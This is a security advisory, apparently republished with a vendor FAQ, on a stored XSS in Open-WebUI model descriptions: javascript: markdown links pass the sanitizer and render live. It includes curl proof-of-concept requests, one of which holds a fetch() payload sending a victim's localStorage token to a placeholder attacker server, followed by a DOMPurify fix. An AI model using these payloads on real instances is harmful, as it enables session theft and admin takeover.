CVE-2026-44721

[!IMPORTANT]
Relationship to CVE-2024-7990

CVE-2024-7990 (issued by huntr.dev, March 2025) describes a stored XSS in the same field, the model description, but exploits a different bypass mechanism: a second-order injection through the sanitizeResponseContent function's video-tag placeholder restoration logic in v0.3.x. That bypass was closed in v0.4.0 by removing the video exemption from the sanitizer.

The vulnerability described in this advisory is structurally distinct: a markdown-link payload with a javascript: URI passes through sanitizeResponseContent unchanged (no angle brackets), is then parsed by marked.parse() into an <a href="javascript:..."> element, and rendered live by {@html}. This is a pipeline-ordering flaw where the dangerous construct is introduced after sanitization completes. Removing the video exemption has no effect on this primitive.

Affected range: v0.3.5 through v0.8.12 inclusive. Fixed in: v0.9.0 (commit 5eab125, which wraps marked.parse() output in DOMPurify.sanitize).

Both vulnerabilities are independently fixable under CVE rule 4.2.11. CVE assignment for this advisory has been requested separately on that basis.

This is a stored cross-site scripting (XSS) vulnerability that allows any authenticated user with model creation permission (workspace.models) to execute arbitrary JavaScript in the browser of any other user (including admins) who views the malicious model in the chat UI.

Details

Root Cause:
Model descriptions are rendered in two Svelte components via this chain:
sanitizeResponseContent(description) → .replaceAll('\n', '<br>') → marked.parse() → {@html ...}

The model description is stored in the database without prior sanitization. Then uses this sanitization function before applying the results to the description.

index.ts:82-92

export const sanitizeResponseContent = (content: string) => {
    return content
        .replace(/<\|[a-z]*$/, '')       // strip incomplete <|tokens
        .replace(/<\|[a-z]+\|$/, '')     // strip incomplete <|token| 
        .replace(/<$/, '')               // strip trailing <
        .replaceAll('<', '&lt;')         // escape < to &lt;
        .replaceAll('>', '&gt;')         // escape > to &gt;
        .replaceAll(/<\|[a-z]+\|>/g, ' ') // strip <|token|> patterns
        .trim();
};

This function was designed to sanitize HTML tags, but does not take into consideration that XSS can be triggered via javascript: which is the fundamental issue.

.replaceAll('\n', '<br>') will replace newlines with <br> tags, and since payload can be written without newlines, its unaffected.

marked sees [text](url) and generated an anchor tag and does not block the payload of javascript:.

Svelte's {@html} directive inserts raw HTML into the DOM without escaping, creating the vulnerability.

Affected files:
src/lib/components/chat/Placeholder.svelte (lines 177–181)
src/lib/components/chat/ChatPlaceholder.svelte (lines 99–103)

PoC

Below is a simple PoC that will create a model with a description to trigger an alert when pressing on the hyperlink. Replace the values inside such as HOST and TOKEN with your own values using your own test server.

Step 1 - Create a model with a malicious description. The token used must be from an account with either the following.
A. Admin privileges
B. An account with model creation permission

curl -X POST 'http://<HOST>/api/v1/models/create' \
  -H 'Authorization: Bearer <TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "id": "xss-test",
    "name": "Helpful Assistant!",
    "base_model_id": "llama3",
    "meta": {
      "description": "A helpful AI assistant. [Click here for docs](javascript:alert())"
    },
    "params": {}
  }'

Any authenticated user with workspace.models permission can execute this. The base_model_id should reference any model available on the instance.

Step 2 - Select the model:

Login and select the created model, if you followed the PoC it will be Helpful Asisstant!

Step 3 - XSS Triggers:

Click on the hyperlink and watch the alert trigger.

Below is a PoC that steals the access token from localstorage

Step 1 - Setup a local python HTTPServer

python3 -m http.sever 8080

Step 2 - Create a model with a malicious payload to steal the token from localstorage

curl -X POST 'http://<HOST>/api/v1/models/create' \
  -H 'Authorization: Bearer <TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "id": "xss-model",
    "name": "Token Stealer",
    "base_model_id": "llama3",
    "meta": {
      "description": "Advanced research model. [View benchmarks](javascript:void(fetch(`http://<MALICIOUS_SERVER_IP>:8080/?t=${localStorage.token}`)))"
    },
    "params": {}
  }'

Step 3 - Navigate to the malicious model and click on the hyperlink

Check on the local server you have set up in Step 1 and see that the token is returned within the URL.

In the affected files, change

{@html marked.parse(
    sanitizeResponseContent(description).replaceAll('\n', '<br>')
)}

into

{@html DOMPurify.sanitize(
    marked.parse(
        sanitizeResponseContent(description).replaceAll('\n', '<br>')
    )
)}

This matches the pattern already used in other parts of the application such as but not limiting to ConfirmDialog.svelte:130 and NotebookView.svelte:77. DOMPurify will handle the stripping of javascript: URIs, event handlers and other dangerous HTML by default.

AI Disclosure

Claude was used to assist in:

Systematic codebase searching to identify unsanitized {@html} rendering paths
Verifying [email protected] behavior with javascript: URIs

Credits

Lin, WeiChi from Sompo Holdings, Inc.

As user's session is stored in LocalStorage, attacker can craft a malicious payload that reads the contents and sends it to their malicious server. Once an admin access token has been stolen, users can create a new tool to execute arbitrary code (feature of Open-WebUI).

Attack Scenario

1. Attacker creates a model with a malicious description
2. Victim selects model and clicks the hyperlink
3. Victim authorization token is stolen

This vulnerability affects all Open-WebUI users.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-44721 has a CVSS score of 7.3 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.0); upgrading removes the vulnerable code path.

Kodem intelligence

Recommended fix, wrap marked.parse() output with DOMPurify.sanitize().

1. What is CVE-2026-44721? CVE-2026-44721 is a high-severity cross-site scripting (XSS) vulnerability in open-webui (npm), affecting versions <= 0.8.12. It is fixed in 0.9.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-44721? CVE-2026-44721 has a CVSS score of 7.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-44721? open-webui (npm) versions <= 0.8.12 is affected.
4. Is there a fix for CVE-2026-44721? Yes. CVE-2026-44721 is fixed in 0.9.0. Upgrade to this version or later.
5. Is CVE-2026-44721 exploitable, and should I be worried? Whether CVE-2026-44721 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44721 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44721?
   • Upgrade open-webui to 0.9.0 or later
   • Upgrade open-webui to 0.9.0 or later